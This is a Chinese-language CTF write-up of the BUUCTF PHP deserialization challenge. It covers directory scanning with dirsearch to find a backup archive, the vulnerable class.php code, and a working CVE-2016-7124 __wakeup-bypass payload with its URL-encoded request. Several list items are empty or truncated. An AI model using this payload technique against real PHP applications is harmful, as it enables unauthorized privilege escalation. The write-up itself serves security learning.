那天我正在刷BUUCTF的Web题,遇到了这道名为"[极客大挑战 2019]PHP 1"的题目。页面打开后只有一个简单的提示:"网站有备份",这立刻让我意识到可能需要寻找备份文件。在实际渗透测试中,备份文件泄露确实是个常见漏洞点,很多开发者会无意中将.bak、.zip等备份文件留在服务器上。
我先用dirsearch进行目录扫描,命令如下:
bash复制python3 dirsearch.py -u http://target_url/ -e * -w ~/wordlists/dirbuster.txt
这里有几个实用技巧:
-t 20参数控制并发数,避免被封IP经过几次尝试,终于扫到了www.zip备份文件。解压后发现关键文件是index.php和class.php,这个发现过程让我想起去年审计某CMS系统时类似的经历。
class.php中的代码特别值得关注,它定义了一个Name类,包含几个关键魔术方法:
php复制class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
die("Wrong password!");
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}
}
}
这里有几个关键点需要注意:
__wakeup()会在反序列化时自动执行,将username重置为guest__destruct()在对象销毁时执行,是获取flag的关键我曾在实际项目中遇到过类似的权限校验漏洞,开发者在__wakeup中重置用户身份,但没做好完整性校验。
要绕过__wakeup的限制,可以利用CVE-2016-7124漏洞:当对象属性数量大于实际数量时,__wakeup会被跳过。构造Payload的PHP代码如下:
php复制<?php
class Name {
private $username = "admin";
private $password = 100;
}
$obj = new Name();
$serialized = serialize($obj);
$exploit = str_replace(':2:', ':3:', $serialized); // 修改属性数量
echo urlencode($exploit);
?>
这里有几个技术细节:
__wakeup最终生成的Payload如下:
code复制O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
将构造好的Payload通过select参数传递给index.php:
code复制http://target_url/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
成功执行后会看到flag输出。这个过程中有几个容易踩坑的地方:
记得去年给某企业做安全评估时,就发现他们使用的框架存在类似的漏洞,攻击者可以通过修改序列化数据来提升权限。